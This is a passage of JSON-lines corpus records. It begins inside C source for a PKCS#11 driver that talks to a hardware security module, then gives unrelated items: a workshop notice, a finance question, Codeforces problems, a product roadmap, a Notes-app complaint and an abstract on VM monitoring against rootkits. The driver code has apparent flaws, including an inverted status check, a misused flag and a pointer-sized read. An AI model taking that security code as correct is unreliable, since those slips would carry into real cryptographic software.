CKC_X_509)\n\t\treturn HSM_C_SaveObject(hSession, *phObject);\n\n\treturn r;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_CopyObject)(CK_SESSION_HANDLE hSession, CK_OBJECT_HANDLE hObject, CK_ATTRIBUTE_PTR pTemplate, CK_ULONG ulCount, CK_OBJECT_HANDLE_PTR phNewObject)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_DestroyObject)(CK_SESSION_HANDLE hSession, CK_OBJECT_HANDLE hObject)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_GetObjectSize)(CK_SESSION_HANDLE hSession, CK_OBJECT_HANDLE hObject, CK_ULONG_PTR pulSize)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_GetAttributeValue)(CK_SESSION_HANDLE hSession, CK_OBJECT_HANDLE hObject, CK_ATTRIBUTE_PTR pTemplate, CK_ULONG ulCount)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_SetAttributeValue)(CK_SESSION_HANDLE hSession, CK_OBJECT_HANDLE hObject, CK_ATTRIBUTE_PTR pTemplate, CK_ULONG ulCount)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_FindObjectsInit)(CK_SESSION_HANDLE hSession, CK_ATTRIBUTE_PTR pTemplate, CK_ULONG ulCount)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_FindObjects)(CK_SESSION_HANDLE hSession, CK_OBJECT_HANDLE_PTR phObject, CK_ULONG ulMaxObjectCount, CK_ULONG_PTR pulObjectCount)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_FindObjectsFinal)(CK_SESSION_HANDLE hSession)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\n// Operation 3: encrypt + authenticate\nCK_DEFINE_FUNCTION(CK_RV, C_EncryptInit)(CK_SESSION_HANDLE hSession, CK_MECHANISM_PTR pMechanism, CK_OBJECT_HANDLE hKey)\n{\n\ts.op_code = 3;\n\tif (!init)\n\t\treturn CKR_CRYPTOKI_NOT_INITIALIZED;\n\n\tif (pMechanism->mechanism != CKM_AES_CTR)\n\t\treturn CKR_MECHANISM_INVALID;\n\n\tif (hKey != 1)\n\t\treturn CKR_KEY_HANDLE_INVALID;\n\n\t// set operation flag\n\ts.operation[P11_OP_ENCRYPT] = 1;\n\n\treturn CKR_OK;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_Encrypt)(CK_SESSION_HANDLE hSession, CK_BYTE_PTR pData, CK_ULONG ulDataLen, CK_BYTE_PTR pEncryptedData, CK_ULONG_PTR pulEncryptedDataLen)\n{\n\tif (!init)\n\t\treturn CKR_CRYPTOKI_NOT_INITIALIZED;\n\n\tif (s.operation[P11_OP_ENCRYPT] != 1)\n\t\treturn CKR_OPERATION_NOT_INITIALIZED;\n\n\tif(HSM_C_ChooseOpCode(hSession, s.op_code) != CKR_OK)\n\t\treturn CKF_LOGIN_REQUIRED;\n\t// send data size\n\tsend_to_connection(pipe_fd, &ulDataLen, sizeof(ulDataLen));\n\tif (!waitOK(pipe_fd))\n\t{\n\t\ts.operation[P11_OP_ENCRYPT] = 0;\n\t\treturn CKR_DATA_INVALID;\n\t}\n\n\t// send data\n\tsend_to_connection(pipe_fd, pData, ulDataLen);\n\tif (!waitOK(pipe_fd))\n\t{\n\t\ts.operation[P11_OP_ENCRYPT] = 0;\n\t\treturn CKR_DATA_INVALID;\n\t}\n\n\tsend_to_connection(pipe_fd, s.obj.id, s.obj.id_size); // send key ID\n\tif (!waitOK(pipe_fd))\n\t{\n\t\ts.operation[P11_OP_ENCRYPT] = 0;\n\t\treturn CKR_FUNCTION_FAILED;\n\t}\n\n\t// Receives encrypt and authenticated data\n\treceive_from_connection(pipe_fd, pulEncryptedDataLen, sizeof(*pulEncryptedDataLen));\n\tsendOK(pipe_fd, (uint8_t *)\"OK\");\n\treceive_from_connection(pipe_fd, pEncryptedData, *pulEncryptedDataLen);\n\tsendOK(pipe_fd, (uint8_t *)\"OK\");\n\n\ts.operation[P11_OP_ENCRYPT] = 0;\n\treturn CKR_OK;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_EncryptUpdate)(CK_SESSION_HANDLE hSession, CK_BYTE_PTR pPart, CK_ULONG ulPartLen, CK_BYTE_PTR pEncryptedPart, CK_ULONG_PTR pulEncryptedPartLen)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_EncryptFinal)(CK_SESSION_HANDLE hSession, CK_BYTE_PTR pLastEncryptedPart, CK_ULONG_PTR pulLastEncryptedPartLen)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\n// Operation 4: decrypt + authenticate\nCK_DEFINE_FUNCTION(CK_RV, C_DecryptInit)(CK_SESSION_HANDLE hSession, CK_MECHANISM_PTR pMechanism, CK_OBJECT_HANDLE hKey)\n{\n\ts.op_code = 4;\n\tif (!init)\n\t\treturn CKR_CRYPTOKI_NOT_INITIALIZED;\n\n\tif (pMechanism->mechanism != CKM_AES_CTR)\n\t\treturn CKR_MECHANISM_INVALID;\n\n\tif (hKey != 1)\n\t\treturn CKR_KEY_HANDLE_INVALID;\n\n\t// set operation flag\n\ts.operation[P11_OP_ENCRYPT] = 1;\n\n\treturn CKR_OK;\n}\n\n\n// Decryption is the same to encrypt with AES CTR mode\nCK_DEFINE_FUNCTION(CK_RV, C_Decrypt)(CK_SESSION_HANDLE hSession, CK_BYTE_PTR pEncryptedData, CK_ULONG ulEncryptedDataLen, CK_BYTE_PTR pData, CK_ULONG_PTR pulDataLen)\n{\n\treturn C_Encrypt(hSession, pEncryptedData, ulEncryptedDataLen, pData, pulDataLen);\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_DecryptUpdate)(CK_SESSION_HANDLE hSession, CK_BYTE_PTR pEncryptedPart, CK_ULONG ulEncryptedPartLen, CK_BYTE_PTR pPart, CK_ULONG_PTR pulPartLen)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_DecryptFinal)(CK_SESSION_HANDLE hSession, CK_BYTE_PTR pLastPart, CK_ULONG_PTR pulLastPartLen)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_DigestInit)(CK_SESSION_HANDLE hSession, CK_MECHANISM_PTR pMechanism)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_Digest)(CK_SESSION_HANDLE hSession, CK_BYTE_PTR pData, CK_ULONG ulDataLen, CK_BYTE_PTR pDigest, CK_ULONG_PTR pulDigestLen)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_DigestUpdate)(CK_SESSION_HANDLE hSession, CK_BYTE_PTR pPart, CK_ULONG ulPartLen)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_DigestKey)(CK_SESSION_HANDLE hSession, CK_OBJECT_HANDLE hKey)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_DigestFinal)(CK_SESSION_HANDLE hSession, CK_BYTE_PTR pDigest, CK_ULONG_PTR pulDigestLen)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_SignInit)(CK_SESSION_HANDLE hSession, CK_MECHANISM_PTR pMechanism, CK_OBJECT_HANDLE hKey)\n{\n\tif (!init)\n\t\treturn CKR_CRYPTOKI_NOT_INITIALIZED;\n\n\tif (pMechanism->mechanism != CKM_ECDSA)\n\t\treturn CKR_MECHANISM_INVALID;\n\n\t// Key object must be NULL_PTR (the HSM uses internal keys)\n\tif (hKey != NULL_PTR)\n\t\treturn CKR_KEY_HANDLE_INVALID;\n\n\t// TODO\n\t// set operation code in structure\n\treturn CKR_OK;\n}\n\n\n// Operation 5: sign data\nCK_DEFINE_FUNCTION(CK_RV, C_Sign)(CK_SESSION_HANDLE hSession, CK_BYTE_PTR pData, CK_ULONG ulDataLen, CK_BYTE_PTR pSignature, CK_ULONG_PTR pulSignatureLen)\n{\n\tCK_BYTE status;\n\n\tif (!init)\n\t\treturn CKR_CRYPTOKI_NOT_INITIALIZED;\n\n\tif(HSM_C_ChooseOpCode(hSession, 5) != CKR_OK)\n\t\treturn CKF_LOGIN_REQUIRED;\n\t// send data size\n\tsend_to_connection(pipe_fd, &ulDataLen, sizeof(ulDataLen));\n\tif(!waitOK(pipe_fd))\n\t\treturn CKR_FUNCTION_FAILED;\n\n\t// send data\n\tsend_to_connection(pipe_fd, pData, ulDataLen);\n\n\treceive_from_connection(pipe_fd, &status, sizeof(CK_BYTE));\n\tsendOK(pipe_fd, (uint8_t *)\"OK\");\n\n\tif (status != 0)\n\t\treturn CKR_FUNCTION_FAILED;\n\n\t// Receives encrypt and authenticated data\n\treceive_from_connection(pipe_fd, pulSignatureLen, sizeof(pulSignatureLen));\n\tsendOK(pipe_fd, (uint8_t *)\"OK\");\n\n\t// Receives encrypt and authenticated data\n\treceive_from_connection(pipe_fd, pSignature, *pulSignatureLen);\n\tsendOK(pipe_fd, (uint8_t *)\"OK\");\n\n\treturn CKR_OK;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_SignUpdate)(CK_SESSION_HANDLE hSession, CK_BYTE_PTR pPart, CK_ULONG ulPartLen)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_SignFinal)(CK_SESSION_HANDLE hSession, CK_BYTE_PTR pSignature, CK_ULONG_PTR pulSignatureLen)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_SignRecoverInit)(CK_SESSION_HANDLE hSession, CK_MECHANISM_PTR pMechanism, CK_OBJECT_HANDLE hKey)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_SignRecover)(CK_SESSION_HANDLE hSession, CK_BYTE_PTR pData, CK_ULONG ulDataLen, CK_BYTE_PTR pSignature, CK_ULONG_PTR pulSignatureLen)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_VerifyInit)(CK_SESSION_HANDLE hSession, CK_MECHANISM_PTR pMechanism, CK_OBJECT_HANDLE hKey)\n{\n\tif (!init)\n\t\treturn CKR_CRYPTOKI_NOT_INITIALIZED;\n\n\tif (pMechanism->mechanism != CKM_ECDSA)\n\t\treturn CKR_MECHANISM_INVALID;\n\n\tif (hKey != 1)\n\t\treturn CKR_KEY_HANDLE_INVALID;\n\n\t// set operation flag\n\ts.operation[P11_OP_VERIFY] = 1;\n\treturn CKR_OK;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_Verify)(CK_SESSION_HANDLE hSession, CK_BYTE_PTR pData, CK_ULONG ulDataLen, CK_BYTE_PTR pSignature, CK_ULONG ulSignatureLen)\n{\n\tCK_BYTE status;\n\n\tif (!init)\n\t\treturn CKR_CRYPTOKI_NOT_INITIALIZED;\n\n\t// set operation flag\n\tif (s.operation[P11_OP_VERIFY] == 0)\n\t\treturn CKF_LOGIN_REQUIRED;\n\n\tif(HSM_C_ChooseOpCode(hSession, 6) != CKR_OK)\n\t\treturn CKF_LOGIN_REQUIRED;\n\n\t// send data size\n\tsend_to_connection(pipe_fd, &ulDataLen, sizeof(ulDataLen));\n\tif(!waitOK(pipe_fd))\n\t{\n\t\ts.operation[P11_OP_VERIFY] = 0;\n\t\treturn CKR_FUNCTION_FAILED;\n\t}\n\n\t// send data\n\tsend_to_connection(pipe_fd, pData, ulDataLen);\n\tif(!waitOK(pipe_fd))\n\t{\n\t\ts.operation[P11_OP_VERIFY] = 0;\n\t\treturn CKR_FUNCTION_FAILED;\n\t}\n\n\t// send signature size\n\tsend_to_connection(pipe_fd, &ulSignatureLen, sizeof(ulSignatureLen));\n\tif(!waitOK(pipe_fd))\n\t{\n\t\ts.operation[P11_OP_VERIFY] = 0;\n\t\treturn CKR_FUNCTION_FAILED;\n\t}\n\n\t// send signature\n\tsend_to_connection(pipe_fd, pSignature, ulSignatureLen);\n\tif(!waitOK(pipe_fd))\n\t{\n\t\ts.operation[P11_OP_VERIFY] = 0;\n\t\treturn CKR_FUNCTION_FAILED;\n\t}\n\n\t// send entity ID\n\tsend_to_connection(pipe_fd, s.obj.id, s.obj.id_size);\n\n\t// Receives encrypt and authenticated data\n\treceive_from_connection(pipe_fd, &status, sizeof(uint8_t));\n\tsendOK(pipe_fd, (uint8_t *)\"OK\");\n\n\ts.operation[P11_OP_VERIFY] = 0;\n\tif (status == 0)\n\t\treturn CKR_OK;\n\telse\n\t\treturn CKR_FUNCTION_FAILED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_VerifyUpdate)(CK_SESSION_HANDLE hSession, CK_BYTE_PTR pPart, CK_ULONG ulPartLen)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_VerifyFinal)(CK_SESSION_HANDLE hSession, CK_BYTE_PTR pSignature, CK_ULONG ulSignatureLen)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_VerifyRecoverInit)(CK_SESSION_HANDLE hSession, CK_MECHANISM_PTR pMechanism, CK_OBJECT_HANDLE hKey)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_VerifyRecover)(CK_SESSION_HANDLE hSession, CK_BYTE_PTR pSignature, CK_ULONG ulSignatureLen, CK_BYTE_PTR pData, CK_ULONG_PTR pulDataLen)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_DigestEncryptUpdate)(CK_SESSION_HANDLE hSession, CK_BYTE_PTR pPart, CK_ULONG ulPartLen, CK_BYTE_PTR pEncryptedPart, CK_ULONG_PTR pulEncryptedPartLen)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_DecryptDigestUpdate)(CK_SESSION_HANDLE hSession, CK_BYTE_PTR pEncryptedPart, CK_ULONG ulEncryptedPartLen, CK_BYTE_PTR pPart, CK_ULONG_PTR pulPartLen)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_SignEncryptUpdate)(CK_SESSION_HANDLE hSession, CK_BYTE_PTR pPart, CK_ULONG ulPartLen, CK_BYTE_PTR pEncryptedPart, CK_ULONG_PTR pulEncryptedPartLen)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_DecryptVerifyUpdate)(CK_SESSION_HANDLE hSession, CK_BYTE_PTR pEncryptedPart, CK_ULONG ulEncryptedPartLen, CK_BYTE_PTR pPart, CK_ULONG_PTR pulPartLen)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_GenerateKey)(CK_SESSION_HANDLE hSession, CK_MECHANISM_PTR pMechanism, CK_ATTRIBUTE_PTR pTemplate, CK_ULONG ulCount, CK_OBJECT_HANDLE_PTR phKey)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_GenerateKeyPair)(CK_SESSION_HANDLE hSession, CK_MECHANISM_PTR pMechanism, CK_ATTRIBUTE_PTR pPublicKeyTemplate, CK_ULONG ulPublicKeyAttributeCount, CK_ATTRIBUTE_PTR pPrivateKeyTemplate, CK_ULONG ulPrivateKeyAttributeCount, CK_OBJECT_HANDLE_PTR phPublicKey, CK_OBJECT_HANDLE_PTR phPrivateKey)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_WrapKey)(CK_SESSION_HANDLE hSession, CK_MECHANISM_PTR pMechanism, CK_OBJECT_HANDLE hWrappingKey, CK_OBJECT_HANDLE hKey, CK_BYTE_PTR pWrappedKey, CK_ULONG_PTR pulWrappedKeyLen)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_UnwrapKey)(CK_SESSION_HANDLE hSession, CK_MECHANISM_PTR pMechanism, CK_OBJECT_HANDLE hUnwrappingKey, CK_BYTE_PTR pWrappedKey, CK_ULONG ulWrappedKeyLen, CK_ATTRIBUTE_PTR pTemplate, CK_ULONG ulAttributeCount, CK_OBJECT_HANDLE_PTR phKey)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\n// Operation 8: Generate new key for sharing\nCK_DEFINE_FUNCTION(CK_RV, C_DeriveKey)(CK_SESSION_HANDLE hSession, CK_MECHANISM_PTR pMechanism, CK_OBJECT_HANDLE hBaseKey, CK_ATTRIBUTE_PTR pTemplate, CK_ULONG ulAttributeCount, CK_OBJECT_HANDLE_PTR phKey)\n{\n\tCK_BYTE r, status;\n\tCK_ECDH1_DERIVE_PARAMS_PTR p;\n\n\tif (!init)\n\t\treturn CKR_CRYPTOKI_NOT_INITIALIZED;\n\n\tif (pMechanism == NULL)\n\t\treturn CKR_ARGUMENTS_BAD;\n\n\tif (pMechanism->mechanism != CKM_ECDH1_DERIVE)\n\t\treturn CKR_MECHANISM_INVALID;\n\n\tp = pMechanism->pParameter;\n\tif (p == NULL || p->kdf != CKM_SHA256_KEY_DERIVATION)\n\t\treturn CKR_MECHANISM_INVALID;\n\n\t// Shared key must be null\n\tif (p->ulSharedDataLen != 0 || p->pSharedData != NULL)\n\t\treturn CKR_FUNCTION_FAILED;\n\n\t// Public key must be set\n\tif (p->ulPublicDataLen == 0 || p->pPublicData == NULL)\n\t\treturn CKR_FUNCTION_FAILED;\n\n\t// key stays inside the HSM\n\tif (phKey != NULL)\n\t\treturn CKR_OBJECT_HANDLE_INVALID;\n\tif (pTemplate != NULL)\n\t\treturn CKR_ATTRIBUTE_VALUE_INVALID;\n\n\tif(HSM_C_ChooseOpCode(hSession, 8) != CKR_OK)\n\t\treturn CKF_LOGIN_REQUIRED;\n\n\t// send entity ID\n\tsend_to_connection(pipe_fd, p->pPublicData , p->ulPublicDataLen);\n\tif(!waitOK(pipe_fd))\n\t\treturn CKR_FUNCTION_FAILED;\n\n\treceive_from_connection(pipe_fd, &status, sizeof(CK_BYTE));\n\tsendOK(pipe_fd, (uint8_t *)\"OK\");\n\n\tif (status == 0)\n\t\tr = CKR_OK;\n\telse\n\t\tr = CKR_FUNCTION_FAILED;\n\treturn r;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_SeedRandom)(CK_SESSION_HANDLE hSession, CK_BYTE_PTR pSeed, CK_ULONG ulSeedLen)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_GenerateRandom)(CK_SESSION_HANDLE hSession, CK_BYTE_PTR RandomData, CK_ULONG ulRandomLen)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_GetFunctionStatus)(CK_SESSION_HANDLE hSession)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_CancelFunction)(CK_SESSION_HANDLE hSession)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_WaitForSlotEvent)(CK_FLAGS flags, CK_SLOT_ID_PTR pSlot, CK_VOID_PTR pReserved)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\nCK_DEFINE_FUNCTION(CK_RV, HSM_C_GetKeyList)(CK_SESSION_HANDLE phSession, CK_BYTE_PTR list)\n{\n\tif (!init)\n\t\treturn CKR_CRYPTOKI_NOT_INITIALIZED;\n\n\t// Get session\n\n\tif(HSM_C_ChooseOpCode(phSession, 9) != CKR_OK)\n\t\treturn CKF_LOGIN_REQUIRED;\n\n\treceive_from_connection(pipe_fd, list, DATA_SIZE);\n\tsendOK(pipe_fd, (uint8_t *)\"OK\");\n\n\treturn CKR_OK;\n}\n\nCK_DEFINE_FUNCTION(CK_RV, HSM_C_ChooseOpCode)(CK_SESSION_HANDLE phSession, CK_BYTE opcode)\n{\n\tCK_BYTE r;\n\tif (!init)\n\t\treturn CKR_CRYPTOKI_NOT_INITIALIZED;\n\n\t// Get session\n\n\t// Get greetings message\n\t// receive_from_connection(pipe_fd, greetings, sizeof(greetings));\n\t// printf (\"%s\", greetings);\n\n\t// Send op code and wait for confirmation\n\t// If error occurs, user must choose code:1 and authenticate with PIN\n\tsend_to_connection(pipe_fd, &opcode, sizeof(CK_BYTE));\n\tif (!waitOK(pipe_fd))\n\t{\n\t\tr = CKF_LOGIN_REQUIRED;\n\t}\n\telse\n\t\tr = CKR_OK;\n\n\tif (r == CKF_LOGIN_REQUIRED && opcode != 1)\n\t\tprintf (\"NOT AUTHENTICATED\\n\");\n\telse if (r == CKR_CRYPTOKI_NOT_INITIALIZED)\n\t\tprintf(\"Cryptoki not initialized\\n\");\n\n\treturn r;\n}\n\nCK_DEFINE_FUNCTION(CK_RV, HSM_C_SaveObject)(CK_SESSION_HANDLE phSession, CK_OBJECT_HANDLE phObject)\n{\n\tCK_BYTE r, status;\n\tif (!init)\n\t\treturn CKR_CRYPTOKI_NOT_INITIALIZED;\n\n\tif (phObject != 1)\n\t\treturn CKR_KEY_HANDLE_INVALID;\n\n\tif (s.obj.oClass != CKO_CERTIFICATE || s.obj.oType != CKC_X_509 || s.obj.oToken != CK_FALSE)\n\t\treturn CKR_MECHANISM_INVALID;\n\n\tif(HSM_C_ChooseOpCode(phSession, 7) != CKR_OK)\n\t\treturn CKF_LOGIN_REQUIRED;\n\n\t// send entity ID\n\tsend_to_connection(pipe_fd, s.obj.id, s.obj.id_size);\n\tif(!waitOK(pipe_fd))\n\t\treturn CKR_FUNCTION_FAILED;\n\n\t// Send certificate size\n\tsend_to_connection(pipe_fd, &s.obj.oValueLen, sizeof(s.obj.oValueLen));\n\tif(!waitOK(pipe_fd))\n\t\treturn CKR_FUNCTION_FAILED;\n\t// send certificate\n\tsend_to_connection(pipe_fd, s.obj.oValue, s.obj.oValueLen);\n\tif(!waitOK(pipe_fd))\n\t\treturn CKR_FUNCTION_FAILED;\n\n\t// Receives status\n\treceive_from_connection(pipe_fd, &status, sizeof(uint8_t));\n\tsendOK(pipe_fd, (uint8_t *)\"OK\");\n\n\tif (status != 0)\n\t\tr = CKR_OK;\n\telse\n\t\tr = CKR_FUNCTION_FAILED;\n\treturn r;\n}", "source": "cpt_stack_code", "language": "code", "token_count": 8582, "token_count_with_eod": 8583, "validation_channel": "code", "validation_source": "cpt_stack_code"}
    {"text": "Information about the NSAIS-ROW 2019 workshop can be found from the NSAIS workshop page HERE\nNSAIS-ROW 2019 – Workshop on Adaptive and Intelligent Systems and Real Options\nNSAIS organizes workshops focused on softcomputing and intelligent systems within the geographic area within the reach of the society “Northern Europe”. The events are typically 1-3 day events with a peer reviewed proceedings / books of abstracts.\nNSAIS´19 = NSAIS-ROW 2019 Workshop (information on incoming workshop)\nNSAIS will organize, together with the Finnish Real Option Society the NSAIS-ROW 2019 Workshop on Adaptive and Intelligent Systems and Real Options during the week 34 on Thursday and Friday – 22.-23. August, 2019 in Lappeenranta, Finland. The venue will be LUT University in Lappeenranta.\nThe workshop theme this time is: “Adaptive and Intelligent Systems and Real Options in the Context of Digitalization and Manufacturing 4.0” as it is a collaboration with the Finnish Operational Research Society and MFG40 (Manufacturing 4.0) Finnish Strategic Research Council project.\nBoth, theoretical and application-oriented papers are welcome within the scope of the workshop theme. The workshop is doctoral student friendly in that also work-in-progress papers can be presented.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 290, "token_count_with_eod": 291, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "Uncovered interest rate parity\nFor UIP, the expected change in future spot rate = interest country A - country B, therefore, if interest rate country A is greater than B, we would expect to see currency A depreciate against B.\nHowever, I believe that if interest rate in country A is greater than B, we should expect capital inflow to A and outflow from B leading to appreciation of currency A.\nWhy does UIP yield different outcome to capital flow perspective?\nStudy together. Pass together.\nJoin the world's largest online community of CFA, CAIA and FRM candidates.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 123, "token_count_with_eod": 124, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "This is the hard version of the problem. The only difference is that in this version $$$0 \\leq k \\leq 20$$$.\n\nThere is an array $$$a_1, a_2, \\ldots, a_n$$$ of $$$n$$$ positive integers. You should divide it into a minimal number of continuous segments, such that in each segment there are no two numbers (on different positions), whose product is a perfect square.\n\nMoreover, it is allowed to do at most $$$k$$$ such operations before the division: choose a number in the array and change its value to any positive integer.\n\nWhat is the minimum number of continuous segments you should use if you will make changes optimally?", "source": "cpt_codeforces", "language": "en", "token_count": 147, "token_count_with_eod": 148, "validation_channel": "code", "validation_source": "cpt_codeforces"}
    {"text": "This is a provisional roadmap, lots of things are subject to change. Items will be frequently added and removed or moved between releases.\n1.9 – Lapetus\n- Reusable instance templates Complete\n- Progress on the 'Generic' module to handle apps without a module Complete!\n- Embedded FTP Server Complete!\n- Audit log viewer Basic version complete\n- User interface style refresh, themes Complete\n- Terraria Module WIP\n- SDK Revamp Complete, NodeJS API available\n2.0 – Europa\n- Localisation, initial support for German, French and Dutch.\n- WHMCS Integration\n- AMP plugin/module repository\n- Developer store\n- New status page, merged with Console tab – shows more data", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 147, "token_count_with_eod": 148, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "When you close a note in the OS X 10.9 Notes app it leaves no trace, there's no warning and no revert. It's just appears to be gone. Very unMac like to me. It's in user interface design 101 that if there's a risk of data loss, the application should inform the user of this is what will happen.\nWhere do the notes go in OS X if the default is \"on this Mac\"? What if the default account is an IMAP account? Can you get it back from the place it's connected to?", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "Since failures and attacks are inevitable in large-scale Internet-enabled systems, efficient monitoring is key to achieving resiliency. Continuous monitoring, however, usually comes with a high performance cost to the target systems. In addition, because of the apparent dissimilarity between security and reliability, tools to detect and recover from different classes of failures and attacks are usually designed and implemented differently. That makes integration of support for reliability and security in a single framework a significant challenge.\nIn this talk, I will present HyperTap, our solution to address those research challenges in the context of virtualization environments. HyperTap is a hypervisor-level framework that facilitates the building of efficient reliability and security monitors for virtual machines (VM). Unlike most VM-monitoring techniques, HyperTap employs hardware architectural invariants to establish the root of trust for monitoring. Hardware invariants are properties defined and enforced by a hardware platform (for example, the x86 instruction set architecture). Additionally, HyperTap supports continuous, event-driven VM monitoring, which enables both capture of the system state and rapid response to actions of interest.\nWe demonstrated the effectiveness of HyperTap through (i) a monitor to detect operating system hangs in a VM, (ii) a monitor to detect hidden rootkits, and (iii) a monitor to detect privilege escalation attacks. Experimental evaluation of the three monitors showed that they are effective in detecting hangs (caused by injecting bugs in the guest operating system), real-world rootkits, and privilege escalation attacks while causing less than 5% and 2% performance overhead for disk I/O and CPU-intensive workloads, respectively.\nCuong Pham is a Ph.D. student in the Department of Electrical and Computer Engineering (ECE) at UIUC. He is a member of the DEPEND research group (http://depend.csl.illinois.edu/) in the Coordinated Science Laboratory (CSL). His research interests are in designing and building resilient computer systems. For his Ph.D. research, Pham focuses on providing monitoring techniques for enhancing the resiliency of cloud computing infrastructure against both accidental failures and malicious attacks. His virtual machine monitoring work received the inaugural Best Paper Award at the IEEE/IFIP International Conference on Dependable Systems and Networks (DSN). Additionally, Pham was recognized for his outstanding Ph.D. research in the dependability area and was awarded the William C. Carter Award at DSN.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 483, "token_count_with_eod": 484, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "You are given an array of integers $$$a$$$ of length $$$n$$$. You can perform the following operation zero or more times:\n\n- In one operation choose an index $$$i$$$ ($$$1 \\le i \\le n$$$), assign $$$a_i := a_i + 1$$$, and then move $$$a_i$$$ to the back of the array (to the rightmost position). For example, if $$$a = [3, 5, 1, 9]$$$, and you choose $$$i = 2$$$, the array becomes $$$[3, 1, 9, 6]$$$.\n\nFind the lexicographically smallest$$$^{\\text{∗}}$$$ array you can get by performing these operations.", "source": "cpt_codeforces", "language": "en", "token_count": 155, "token_count_with_eod": 156, "validation_channel": "code", "validation_source": "cpt_codeforces"}
